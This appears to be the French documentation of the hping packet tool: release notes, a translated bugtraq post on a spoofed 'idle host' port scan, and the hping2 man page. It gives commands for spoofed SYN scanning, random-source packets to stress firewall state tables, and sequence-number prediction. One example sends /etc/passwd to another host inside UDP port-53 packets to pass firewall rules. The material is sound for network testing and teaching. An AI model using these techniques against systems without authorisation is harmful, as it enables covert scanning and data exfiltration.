sont de la forme 'champ=valeur'. . Spécifier l'interface de sortie avec -I n'est plus nécessaire, hping essayera de détecter la bonne interface selon la table de routage système. Bien sûr vous pouvez la forcer en utilisant -I. . Au lieu de spécifier -i u10000 pour avoir une vitesse de dix paquets par seconde vous pouvez utiliser --fast. . Maintenant --traceroute (-T) implique --ttl 1. Vous pouvez forcer une valeur en utilisant --ttl. . En utilisant hping comme traceroute vous avez maintenant les informations RTT (ndt : temps aller-retour) à propos des sauts. . Vous pouvez surveiller un saut spécifique en mode traceroute, en utilisant la syntaxe suivante : hping2 -T www.yahoo.com --tr-keep-ttl --ttl 5 voyez la sortie : HPING www.yahoo.com (ippp0 64.58.76.177): NO FLAGS are set, 40 headers + 0 dat a bytes 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) 5->RTT was: 136.9 ms 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) 5->RTT was: 136.8 ms 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) 5->RTT was: 136.9 ms 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) 5->RTT was: 136.7 ms --- www.yahoo.com hping statistic --- 4 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 136.7/136.8/136.9 ms vous n'avez que les informations sur le 5ème saut, après Ctrl+C le temps aller-retour min/avg/max (ndt : minimum, moyen, maximum) est calculé en utilisant les temps de ce saut. . En utilisant l'option --tr-stop vous pouvez obtenir que hping s'arrête quand est reçu le premier paquet correspondant qui n'est pas un ICMP time exceeded in transit, comme le traceroute original. Sans cela hping continue d'envoyer des paquets au système cible pour toujours. . Vous pouvez utiliser --tr-no-rtt pour supprimer l'information rtt dans le mode traceroute. . Avec la fonctionnalité --tcp-timestamp vous pouvez deviner l'uptime d'un système distant. Par exemple : HPING www.hping.org (ippp0 192.70.106.166): S set, 40 headers + 0 data bytes 56 bytes from 192.70.106.166: flags=SA seq=0 ttl=49 id=28881 win=16080 rtt=105.0 ms TCP timestamp: 258597761 56 bytes from 192.70.106.166: flags=SA seq=1 ttl=49 id=28882 win=16080 rtt=105.4 ms TCP timestamp: 258597860 HZ seems 100 System uptime seems: 29 days, 22 hours, 19 minutes, 38 seconds 56 bytes from 192.70.106.166: flags=SA seq=2 ttl=49 id=28883 win=16080 rtt=105.1 ms TCP timestamp: 258597960 HZ seems 100 System uptime seems: 29 days, 22 hours, 19 minutes, 39 seconds --- www.hping.org hping statistic --- 3 packets tramitted, 3 packets received, 0% packet loss round-trip min/avg/max = 105.0/105.2/105.4 ms Comme vous pouvez voir, la première réponse ne contient pas d'information de uptime puisque au moins deux paquets sont nécessaires pour estimer la fréquence d'incrémentation du minuteur du timestamp (qui est HZ dans la sortie). . Vous pouvez maintenant utiliser les requêtes ICMP de timestamp et de masque réseau. Deux raccourcis sont fournis pour les utiliser : --icmp-ts et --icmp-addr. . Maintenant le traitement du numéro de séquence a été revu pour permettre à hping de montrer l'information correcte de rtt même si le numéro de séquence repasse à zéro. . Maintenant hping ne devrait jamais (avec un peu de chance) générer une erreur SIGBUS sur sparc. J'espère que vous trouverez hping meilleur à utiliser et plus puissant, ces améliorations ont été mises en oeuvre grâce à de nombreuses personnes qui ont beaucoup aidé avec du code et de nouvelles idées, voyez le fichier CHANGES pour plus d'informations et les crédits. amusez vous bien, antirezhping3-3.a2.ds2/docs/french/SPOOFED_SCAN.txt000066400000000000000000000123651021454026700202470ustar00rootroot00000000000000Ce qui suit est le postage original (ndt : du moins sa traduction) à bugtraq à propos de la méthode de scan usurpée/passive/indirecte. Voir le fichier HPING2-HOWTO pour plus d'informations. antirez --- Salut, J'ai découvert une nouvelle méthode de scan de ports TCP. Au contraire de toutes les autres elle vous permet de scanner en utilisant des paquets usurpés (ndt : dont l'adresse IP source est usurpée), ainsi les systèmes scannés ne peuvent pas voir votre adresse réelle. Afin de réaliser cela j'utilise trois particularités bien connues des mises en oeuvre TCP/IP de la plupart des OS. (1) * les systèmes répondent SYN|ACK à SYN si le port TCP cible est ouvert, et RST|ACK si le port TCP cible est fermé. (2) * Vous pouvez connaître le nombre de paquets que les systèmes envoient en utilisant le champ id de l'entête IP. Voir mes précédents postages 'à propos de l'entête IP' dans cette mailing liste. (3) * les systèmes répondent RST à SYN|ACK, ne répondent rien à RST. Les joueurs: système A - le système malfaisant, l'attaquant. système B - le système silencieux. système C - le système victime. A est votre système. B est un système particulier : il ne doit envoyer aucun paquet pendant que vous scannez C. Il y a énormément de systèmes à 'trafic nul' sur Internet, spécialement la nuit :) C est la victime, il doit être vulnérable aux scans SYN. J'ai appelé cette méthode de scan 'scan du système muet' (ndt : l'autre traduction de 'dumb' est bête) en référence aux caractéristiques du système B. Comment elle fonctionne : Le système A surveille le nombre de paquets sortants depuis B en utilisant le champ id de l'entête IP. Vous pouvez faire ceci simplement en utilisant hping : #hping B -r HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms -cut- .. . Comme vous pouvez le voir, les incréments du champ id sont toujours de 1. Ainsi ce système a la caractéristique requise pour jouer le rôle de B. Maintenant le système A envoie des paquets SYN au port X de C en usurpant l'adresse source de B. (avec hping => 0.67 c'est très facile, http://www.kyuzz.org/antirez) si le port X de C est ouvert, le système C enverra SYN|ACK à B (oui, le système C ne sait pas que le véritable expéditeur est A). Dans ce cas le système B répond au SYN|ACK avec un RST. Si nous envoyons au système C quelques paquets SYN il répondra à B quelques paquet SYN|ACK, ainsi B répondra à C quelques RST... ainsi nous verrons que le système B est en train d'envoyer des paquets ! . .. -cut- 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms -cut- .. . Le port est ouvert ! Par contre, si le port X de C est fermé alors en envoyant à C quelques paquets SYN avec l'adresse usurpée de B, il répondra avec des paquets RST à B, et B ne répondra pas (voir 3). Ainsi nous verrons que le système B n'est en train d'envoyer aucun paquet : . .. -cut- 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms -cut- .. . Le port est fermé. Tout ceci peut paraître compliqué à réaliser, mais utiliser deux sessions de hping dans des consoles virtuelles Linux ou sous X rend cela plus simple. La première session surveille le système B : hping B -r La seconde session envoie des paquets SYN spoofés : hping C -a B -S Désolé si mon anglais n'est pas clair. Cependant ce postage n'est pas adéquat pour décrire exhaustivement cette méthode de scan, ainsi je vais écrire un article à ce sujet, en particulier comment mettre en oeuvre ceci dans un scanner de ports (i.e. nmap), et à propos des caractéristiques des joueurs et des OS utilisés. bonne nouvelle année, antirez hping3-3.a2.ds2/docs/french/hping2-fr.8000066400000000000000000000573371021454026700175000ustar00rootroot00000000000000.TH HPING2 8 "2001 Aug 14" .\" french translation by Denis Ducamp .SH NOM hping2 \- envoie des paquets TCP/IP (presque) arbitraires à des systèmes réseaux .SH RESUME .B hping2 [ .B \-hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG ] [ .B \-c .I count ] [ .B \-i .I wait ] [ .B \-\-fast ] [ .B \-I .I interface ] [ .B \-9 .I signature ] [ .B \-a .I host ] [ .B \-t .I ttl ] [ .B \-N .I ip id ] [ .B \-H .I ip protocol ] [ .B \-g .I fragoff ] [ .B \-m .I mtu ] [ .B \-o .I tos ] [ .B \-C .I icmp type ] [ .B \-K .I icmp code ] [ .B \-s .I source port ] [ .B \-p[+][+] .I dest port ] [ .B \-w .I tcp window ] [ .B \-O .I tcp offset ] [ .B \-M .I tcp sequence number ] [ .B \-L .I tcp ack ] [ .B \-d .I data size ] [ .B \-E .I filename ] [ .B \-e .I signature ] [ .B \-\-icmp\-ipver .I version ] [ .B \-\-icmp\-iphlen .I length ] [ .B \-\-icmp\-iplen .I length ] [ .B \-\-icmp\-ipid .I id ] [ .B \-\-icmp\-ipproto .I protocol ] [ .B \-\-icmp\-cksum .I checksum ] [ .B \-\-icmp\-ts ] [ .B \-\-icmp\-addr ] [ .B \-\-tcpexitcode ] [ .B \-\-tcp-timestamp ] [ .B \-\-tr-stop ] [ .B \-\-tr-keep-ttl ] [ .B \-\-tr-no-rtt ] [ .B \-\-rand-dest ] [ .B \-\-rand-source ] hostname .br .ad .SH DESCRIPTION hping2 est un outil réseau capable d'envoyer des paquets TCP/IP sur commande et d'afficher les réponses de la cible comme le programme ping le fait avec les réponses ICMP. hping2 traite la fragmentation, les contenus de paquets et les tailles arbitraires, et peut être utilisé dans le but de transférer des fichiers encapsulés dans les protocoles supportés. En utilisant hping2 vous êtes capable d'effectuer au moins les tâches suivantes : - Tester les règles d'un firewall - Scanner des ports de façon avancée - Tester les performances réseau en utilisant différents protocoles, tailles de paquets, TOS (type de service) et fragmentation. - Découverte de "Path MTU" - Transférer des fichiers même au travers de règles de firewall vraiment fascistes. - Comme traceroute avec différents protocoles. - Utilisation comme Firewalk. - Détermination d'OS à distance. - Audit de pile TCP/IP. - Beaucoup d'autres. .I C'est également un bon outil didactique pour apprendre TCP/IP. hping2 est développé et maintenu par antirez@invece.org et est sous la version 2 de la licence GPL. Le développement est ouvert donc vous pouvez m'envoyer des patches, suggestions et affronts sans inhibition. .SH SITE DE HPING site primaire sur .BR http://www.hping.org . Vous pouvez trouver à la fois la version stable et les instructions pour télécharger le dernier code source sur http://www.hping.org/download.html .SH OPTIONS DE BASE .TP .I -h --help Montre l'écran d'aide sur la sortie standard, donc vous pouvez rediriger vers less. .TP .I -v --version Montre l'information de version et l'API utilisée pour accéder au niveau données (data link layer), .I linux sock packet ou .IR libpcap . .TP .I -c --count count Arrête après avoir envoyé (et reçu) .I count paquets réponse. Après que le dernier paquet a été envoyé hping2 attend COUNTREACHED_TIMEOUT secondes les réponses du système cible. Vous avez la possibilité de régler COUNTREACHED_TIMEOUT en éditant hping2.h .TP .I -i --interval Attend le nombre spécifié de secondes ou de micro secondes entre l'envoie de chaque paquet. --interval X fixe .I wait à X secondes, --interval uX fixe .I wait à X micro secondes. Le défaut est d'attendre une seconde entre chaque paquet. En utilisant hping2 pour transférer des fichiers fixer cette option est très important pour augmenter le taux de transfert. Même en utilisant hping2 pour effectuer des scans passifs/avec usurpation d'adresse vous devriez fixer cette option, voir .B HPING2-HOWTO pour plus d'informations. .TP .I --fast Alias pour -i u10000. Hping enverra 10 paquets par seconde. .TP .I --faster Alias pour -i u1. Plus rapide que --fast ;) (mais pas aussi rapide que votre ordinateur peut envoyer des paquets à cause de la conception basée sur les signaux). .TP .I -n --numeric Sortie numérique seulement, aucune tentative ne sera faite pour chercher les noms symboliques pour les adresses système. .TP .I -q --quiet Sortie silencieuse. Rien n'est affiche excepté les lignes de résume au moment du démarrage et quand c'est fini. .TP .I -I --interface interface name Par défaut sur les systèmes linux et BSD hping2 utilise l'interface de routage par défaut. Sur d'autres systèmes ou quand il n'y a pas d'interface de routage par défaut hping2 utilise la première interface non loopback. Quoi qu'il en soit vous avez la possibilité de forcer hping2 à utiliser l'interface dont vous avez besoin en utilisant cette option. Note : vous n'avez pas besoin de spécifier le nom complet, par exemple -I et va correspondre à eth0 ethernet0 myet1 et cetera. Si aucune interface ne correspond hping2 essayera d'utiliser lo. .TP .I -V --verbose Active la sortie verbeuse. Les réponses TCP seront affichées comme suit : len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0 .TP .I -D --debug Active le mode de débogage, c'est utile quand vous rencontrez quelques problèmes avec hping2. Quand le mode de débogage est activé vous obtiendrez plus d'informations à propos .B de la détection des interfaces, de l'accès au niveau données, du .B réglage des interfaces, des options d'analyse, de la fragmentation, du .B protocole HCMP et d'autres choses. .TP .I -z --bind Lie CTRL+Z au .B time to live (TTL) ainsi vous serez capable d'incrémenter/décrémenter le ttl des paquets sortant en pressant CTRL+Z une ou deux fois. .TP .I -Z --unbind Dé-lie CTRL+Z ainsi vous serez capable d'arrêter hping2 .SH SELECTION DE PROTOCOLE Le protocole par défaut est TCP, par défaut hping2 enverra des entêtes TCP sur le port 0 du système cible avec une winsize (ndt : taille de fenêtre) de 64 sans aucun drapeau TCP activé. Souvent c'est la meilleure manière de faire un 'ping caché', utile quand la cible est derrière un firewall qui jette ICMP. De plus un paquet TCP null-flag (ndt : sans drapeau) vers le port 0 a de bonnes probabilités de ne pas être journalisé. .TP .I -0 --rawip Mode RAW IP, dans ce mode hping2 enverra une entête IP avec les données ajoutées avec --signature et/ou --file, voir également --ipproto qui vous autorise à fixer le champ protocole IP. .TP .I -1 --icmp Mode ICMP, par défaut hping2 enverra un paquet ICMP echo-request, vous pouvez fixer un autre type/code ICMP en utilisant les options .B --icmptype --icmpcode .TP .I -2 --udp Mode UDP, par défaut hping2 enverra des paquets UDP vers le port 0 du système cible. Les options réglables des entêtes UDP sont les suivantes : .B --baseport, --destport, --keep. .TP .I -8 --scan Mode scan, l'option attend un argument qui décrit des groupes de ports à scanner. Les groupes de ports sont séparés par des virgules : un nombre décrit seulement un port unique, donc 1,2,3 signifie ports 1, 2 et 3. Les intervalles sont spécifiés en utilisant une notation début-fin, comme 1-1000, qui dit à hping de scanner les ports entre 1 et 1000 (inclus). Le mot spécial .B all est un alors pour 0-65535, pendant que le mot spécial .B known inclut tous les ports listés dans /etc/services. .br Les groupes peuvent être combinés, donc la commande suivante scannera les ports entre 1 et 1000 ET le port 8888 ET les ports listés dans /etc/services: .B hping --scan 1-1000,8888,known -S target.host.com .br Les groupes peuvent être niés (soustraits) en utilisant un caractère ! comme préfix, donc la ligne de commande suivante scannera tous les ports NON listés dans /etc/services dans l'intervalle 1-1024 : .B hping --scan '1-1024,!known' -S target.host.com .br Gardez à l'esprit que pendant que hping apparaît beaucoup plus comme un scanneur de ports dans ce mode, la plupart des options sont toujours honorées, donc pour effectuer par exemple un scan SYN vous avez besoin de spécifier l'option .BR -S , vous pouvez changer la taille de la fenêtre TCP, le TTL, contrôler la fragmentation IP comme habituellement, et ainsi de suite. La seule différence réelle est que le comportement standard de hping est encapsulé dans un algorithme de scan. .br .B Note technique : Le mode scan utilise une conception basée sur deux processus, avec de la mémoire partagée pour la synchronisation. L'algorithlme de scan n'est toujours pas optimal, mais déjà assez rapide. .br .B Conseil : à la différence de la plupart des scanneurs, hping montre quelques informations intéressantes à propos des paquets reçus, les champs IP ID, TCP win, TTL, et ainsi de suite, n'oubliez pas de regarder ces informations additionnelles quand vous effectuez un scan! Quelques fois elles montrent des détails intéressants. .TP .I -9 --listen signature Mode d'écoute de HPING2, en utilisant cette option hping2 attend les paquets qui contiennent .I signature et exporte de la fin de la .I signature à la fin du paquet. Par exemple si hping2 --listen TEST lit un paquet qui contient .B 234-09sdflkjs45-TESThello_world il affichera .BR hello_world . .SH OPTIONS IP .TP .I -a --spoof hostname Utiliser cette option dans le but de fixer une fausse adresse source, cette option assure que le système cible n'obtiendra pas votre adresse réelle. Quoi qu'il en soit les réponses seront envoyées à l'adresse usurpée, ainsi vous ne serez pas capable de les voir. Afin de voir comment il est possible d'effectuer des scans avec des adresses usurpées/passifs voir le fichier .BR HPING2-HOWTO . .TP .I --rand-source Cette option active le .BR "mode source aléatoire" . hping enverra des paquets avec des adresses sources aléatoires. Il est intéressant d'utiliser cette option pour stresser les tables d'étât d'un firewall, et d'autres tables dynamiques basées sur les IP dans les piles TCP/IP et les firewall logiciels. .TP .I --rand-dest Cette option active le .BR "mode destination aléatoire" . hping enverra des paquets à des adresses aléatoires obtenues en suivant la règle que vous avez spécifiée comme système cible. Vous avez besoin de spécifier une adresse IP numérique en tant que système cible comme .BR "10.0.0.x" . Toutes les occurrences de .B x seront remplacées avec un nombre aléatoire dans l'intervalle 0-255. Ainsi pour obtenir des adresses IP internet dans l'espace IPv4 complet utilisez quelque chose comme .BR "hping x.x.x.x --rand-dest" . Si vous n'êtes pas sûrs du genre d'adresses que votre règle génère essayez d'utiliser l'option .B --debug pour afficher chaque nouvelle adresse destination générée. .br .B Attention : quand cette option est activée hping ne peut pas détecter la bonne interface de sortie pour les paquets, ainsi vous devez utiliser l'option .B --interface pour sélectionner l'interface de sortie. .TP .I -t --ttl time to live En utilisant cette option vous pouvez fixer le .B TTL (time to live) des paquets sortant, il est vraisemblable que vous utiliserez ceci avec les options .B --traceroute ou .B --bind Dans le doute essayez .BR "" "`" "hping2 some.host.com -t 1 --traceroute" "'." .TP .I -N --id Fixe le champ ip->id . La valeur du champ id par défaut est aléatoire mais si la fragmentation est activée et que le champ id n'est pas spécifié alors il sera égal à .BR "getpid() & 0xFF" , mettre en oeuvre une meilleure solution est dans la liste TODO (ndt : à faire). .TP .I -H --ipproto Fixe le protocole IP dans le mode RAW IP. .TP .I -W --winid Le champ id des systèmes Windows* avant Win2k ont un byte ordering (ndt : ordre des octets) différent, si cette option est activée hping2 affichera proprement les champs id des réponses de ces Windows. .TP .I -r --rel Affiche les incréments du champ id au lieu du champ id. Voir le fichier .B HPING2-HOWTO pour plus d'informations. Les incréments ne sont pas calculés comme id[N]-id[N-1] mais en utilisant une compensation de pertes de paquets. Voir le fichier relid.c pour plus d'informations. .TP .I -f --frag Découpe les paquets en fragments, ceci peut être utile afin de tester les performances de la fragmentation des piles IP et de tester si certains filtres de paquets sont si faibles qu'ils peuvent être passés en utilisant de petits fragments (anachronique). Par défaut le 'mtu virtuel' (ndt : taille des fragments) est de 16 octets. Voir également l'option .IR --mtu . .TP .I -x --morefrag Fixe le drapeau IP "more fragments" (ndt : d'autres fragments), utilisez cette option si vous voulez que le système cible envoie un paquet .B ICMP time-exceeded during reassembly (ndt : délai dépassé durant le ré-assemblage). .TP .I -y --dontfrag Fixe le drapeau IP "don't fragment" (ndt : ne pas fragmenter), ceci peut être utilisé pour effectuer un .B MTU path discovery (ndt : découverte de la valeur minimale de la "taille maximale des paquets" sur le chemin). .TP .I -g --fragoff fragment offset value Fixe l'offset du fragment. .TP .I -m --mtu mtu value Fixe un 'mtu virtuel' différent de 16 quand la fragmentation est activée. Si la taille des paquets est supérieure au 'mtu virtuel' alors la fragmentation est automatiquement activée. .TP .I -o --tos hex_tos Fixe .B Type Of Service (TOS) (ndt : le type de service), pour plus d'informations essayez .BR "--tos help" . .TP .I -G --rroute Enregistrer la route. Inclut l'option RECORD_ROUTE dans chaque paquet envoyé et affiche la route présente dans le tampon du paquet retourné. Notez que l'entête IP n'est suffisamment large que pour neuf routes. Beaucoup de systèmes ignorent ou suppriment cette option. Notez également qu'en utilisant hping vous êtes capable d'utiliser l'enregistrement de la route même si le système cible filtre ICMP. Enregistrer la route est une option IP, non pas une option ICMP, ainsi vous pouvez utiliser l'option d'enregistrement de la route même dans les modes TCP et UDP. .SH OPTIONS ICMP .TP .I -C --icmptype type Fixe le type ICMP, le défaut est .BR "ICMP echo request" . .TP .I -K --icmpcode code Fixe le code ICMP, le défaut est 0 (implique --icmp). .TP .I --icmp-ipver Fixe la version IP de l'entête IP contenue dans les données ICMP, le défaut est 4. .TP .I --icmp-iphlen Fixe la longueur de l'entête IP contenue dans les données ICMP, le défaut est 5 (5 mots de 32 bits). .TP .I --icmp-iplen Fixe la longueur du paquet IP de l'entête IP contenue dans les données ICMP, le défaut est la taille réelle. .TP .I --icmp-ipid Fixe le champ IP id de l'entête IP contenue dans les données ICMP, le défaut est aléatoire. .TP .I --icmp-ipproto Fixe le protocole IP de l'entête IP contenue dans les données ICMP, le défaut est TCP. .TP .I --icmp-cksum Fixe la somme de contrôle ICMP, le défaut est la somme de contrôle valide. .TP .I --icmp-ts Alias pour --icmptype 13 (pour envoyer des requêtes ICMP timestamp). .TP .I --icmp-addr Alias pour --icmptype 17 (pour envoyer des requêtes ICMP masque réseau). .SH OPTIONS TCP/UDP .TP .I -s --baseport source port hping2 utilise le port source afin de deviner les numéros de séquence des réponses. Il commence avec un numéro de port source de base, et incrémente ce numéro pour chaque paquet envoyé. Quand un paquet est reçu alors le numéro de séquence peut être calculé comme .IR "port.source.réponse - port.source.de.base" . Le port source de base par défaut est aléatoire, en utilisant cette option vous êtes capable de fixer un numéro différent. Si vous avez besoin que le port source ne soit pas incrémenté pour chaque paquet envoyé utilisez l'option .IR "-k --keep" . .TP .I -p --destport [+][+]dest port Fixe le port destination, le défaut est 0. Si le caractère '+' précède le numéro de port destination (i.e. +1024) le port destination sera incrémenté pour chaque paquet reçu. Si deux '+' précèdent le numéro de port destination (i.e. ++1024), le port destination sera incrémenté pour chaque paquet envoyé. Par défaut le port destination peut être modifié interactivement en utilisant .B CTRL+z. .TP .I --keep Garde constant le port source, voir .I --baseport pour plus d'informations. .TP .I -w --win Fixe la taille de la fenêtre TCP. Le défaut est 64. .TP .I -O --tcpoff Fixe un faux offset (ndt : décalage) des données TCP. L'offset normal des données est tcphdrlen / 4. .TP .I -M --tcpseq Fixe le numéro de séquence TCP. .TP .I -L --tcpack Fixe le drapeau TCP ack. .TP .I -Q --seqnum Cette option peut être utilisée afin de collecter les numéros de séquence générés par le système cible. Ceci peut être utile quand vous avez besoin d'analyser si les numéros de séquence TCP sont prévisibles. Exemple de sortie : .B #hping2 win98 --seqnum -p 139 -S -i u1 -I eth0 .nf HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes 2361294848 +2361294848 2411626496 +50331648 2545844224 +134217728 2713616384 +167772160 2881388544 +167772160 3049160704 +167772160 3216932864 +167772160 3384705024 +167772160 3552477184 +167772160 3720249344 +167772160 3888021504 +167772160 4055793664 +167772160 4223565824 +167772160 .fi La première colonne reporte les numéros de séquence, la seconde la différence entre le numéro de séquence courant et le dernier. Comme vous pouvez le voir les numéros de séquence du système cible sont prévisibles. .TP .I -b --badcksum Envoie des paquets avec une mauvaise somme de contrôle UDP/TCP .TP .I --tcp-timestamp Active l'option TCP timestamp, et essaye de deviner la fréquence de mise à jour du timestamp et l'uptime du système distant. .TP .I -F --fin Fixe le drapeau TCP FIN. .TP .I -S --syn Fixe le drapeau TCP SYN. .TP .I -R --rst Fixe le drapeau TCP RST. .TP .I -P --push Fixe le drapeau TCP PUSH. .TP .I -A --ack Fixe le drapeau TCP ACK. .TP .I -U --urg Fixe le drapeau TCP URG. .TP .I -X --xmas Fixe le drapeau TCP Xmas. .TP .I -Y --ymas Fixe le drapeau TCP Ymas. .SH OPTIONS COMMUNES .TP .I -d --data data size Fixe la taille du corps du paquet. Attention, en utilisant --data 40 hping2 ne générera pas des paquets de 0 octet mais de entête_de_protocole+40 octets. hping2 affichera en information la taille des paquets comme première ligne de sortie, comme ceci : .B HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes .TP .I -E --file filename Utilise le contenu du fichier .B filename pour remplir les données du paquet. .TP .I -e --sign signature Remplit d'abord .I longueur de signature octets de données avec .IR signature . Si .I longueur de signature est plus grand que la taille des données alors un message d'erreur sera affiché. Si vous ne spécifiez pas la taille des données hping utilisera la taille de la signature comme taille des données. Cette option peut être utilisée sans risque avec l'option .IR "--file filename" , l'espace de données restant sera rempli en utilisant le fichier .IR filename . .TP .I -j --dump Affiche les paquets en hexadécimal. .TP .I -J --print Affiche les caractères imprimables des paquets reçus. .TP .I -B --safe Active le protocole safe, en utilisant cette option les paquets perdus dans un transfert de fichier seront renvoyés. Par exemple afin d'envoyer le fichier /etc/passwd depuis le système A au système B vous pouvez utiliser ce qui suit : .nf .I [host_a] .B # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd .I [host_b] .B # hping2 host_a --listen signature --safe --icmp .fi .TP .I -u --end Si vous utilisez l'option .IR "--file filename" , cela vous dit quand la fin du fichier a été atteinte. D'ailleurs cela prévient que l'autre côté accepte plus de paquets. S'il vous plaît, pour plus d'informations voir le fichier .BR HPING2-HOWTO . .TP .I -T --traceroute Mode traceroute. En utilisant cette option hping2 incrémentera le ttl pour chaque paquet .B ICMP time to live 0 during transit reçu. Essayez .BR "hping2 host --traceroute" . Cette option implique --bind et --ttl 1. Vous pouvez l'emporter sur le ttl à 1 en utilisant l'option --ttl. Depuis 2.0.0 stable il affiche les informations de RTT. .I --tr-keep-ttl garde le ttl fixe en mode traceroute, ainsi vous pouvez contrôler simplement un noeud sur la route. Par exemple, pour contrôler comment le 5ème noeud change ou comment son RTT change vous pouvez essayer .BR "hping2 host --traceroute --ttl 5 --tr-keep-ttl" . .TP .I --tr-stop Si cette option est spécifiée hping quittera dès que le premier paquet qui n'est pas un ICMP time exceeded est reçu. Ceci émule mieux le comportement de traceroute. .TP .I --tr-no-rtt Ne montre pas l'information RTT en mode traceroute. L'information du RTT des ICMP time exceeded n'est même pas calculée si cette option est positionnée. .TP .I --tcpexitcode Quitte avec le champ tcp->th_flag du dernier paquet reçu comme code de retour. Utile pour les scripts qui ont besoin, par exemple, de savoir si le port 999 de quelque système répond avec SYN/ACK ou avec RST en réponse à un SYN, i.e. le service est lancé ou arrêté. .SH FORMAT DE SORTIE TCP Le format standard de sortie TCP est le suivant : len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms .B len est la taille, en octets, des données capturées dans la couche liaison de données en excluant la taille de l'entête de liaison de données. Ceci peut ne pas correspondre à la taille du datagramme IP à cause du rembourrage bas niveau de la couche liaison de données. .B ip est l'adresse ip source. .B flags sont les drapeaux TCP, R pour RESET, S pour SYN, A pour ACK, F pour FIN, P pour PUSH, U pour URGENT, X pour 0x40 non standard, Y pour 0x80 non standard. Si la réponse contient .B DF l'entête IP possède le bit don't fragment (ndt : ne pas fragmenter) positionné. .B seq est le numéro de séquence du paquet, obtenu en utilisant le port source pour les paquets TCP/UDP, le champ séquence pour les paquets ICMP. .B id est le champ IP ID. .B win est la taille de la fenêtre TCP .B rtt est le "round trip time" (ndt : temps aller-retour) en millisecondes. Si vous exécutez hping en utilisant l'option .B -V de la ligne de commande il affichera des informations supplémentaires à propos du paquet, par exemple : len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0 .B tos est le champ type de service de l'entête IP. .B iplen est le champ IP longueur totale. .B seq et ack sont les numéros de séquence et d'acquittement sur 32 bits dans l'entête TCP. .B sum est la valeur de la somme de contrôle de l'entête TCP. .B urp est la valeur du pointeur urgent TCP. .SH FORMAT DE SORTIE UDP Le format standard de sortie est : len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms La signification des champs est la même que celle de la sortie TCP pour les champs de même nom. .SH FORMAT DE SORTIE ICMP Un exemple de sortie ICMP est : ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net Il est très facile à comprendre. Il commence avec la chaîne "ICMP" suivie par la description de l'erreur ICMP, dans l'exemple Port Unreachable (ndt : port non accessible). Le champ ip est l'adresse IP source du datagramme IP contenant l'erreur ICMP, le champ name est simplement l'adresse numérique résolue en un nom (une requête dns PTR) ou UNKNOWN si la résolution a échoué. Le format ICMP de Time exceeded during ou de reassembly est un peu différent : TTL 0 during transit from ip=192.168.1.1 name=nano.marmoc.net TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN La seule différence est la description de l'erreur, elle commence avec TTL 0. .SH AUTEUR Salvatore Sanfilippo , avec l'aide des personnes mentionnées dans le fichier AUTHORS et sur http://www.hping.org/authors.html .SH BOGUES Même en utilisant les options --end et --safe pour transférer des fichiers, le paquet final sera rembourré avec des octets 0x00. .PP Les données sont lues sans tenir compte de l'alignement, mais l'alignement est imposé dans les structures de données. Ceci ne sera pas un problème sous i386 mais, alors que normalement les entêtes TCP/IP sont naturellement alignées, cela peut créer des problèmes avec divers processeurs et des paquets mal-formés si il y a des accès non alignés quelque part dans le code (aucun avec un peu de chance). .PP Sur Solaris hping ne fonctionne pas sur l'interface loopback. Ceci semble être un problème solaris, comme exposé dans la liste de diffusion tcpdump-workers, ainsi la libpcap ne peut rien faire pour la supporter correctement. .SH VOIR AUSSI ping(8), traceroute(8), ifconfig(8), nmap(1) .SH TRADUCTEUR Denis Ducamp 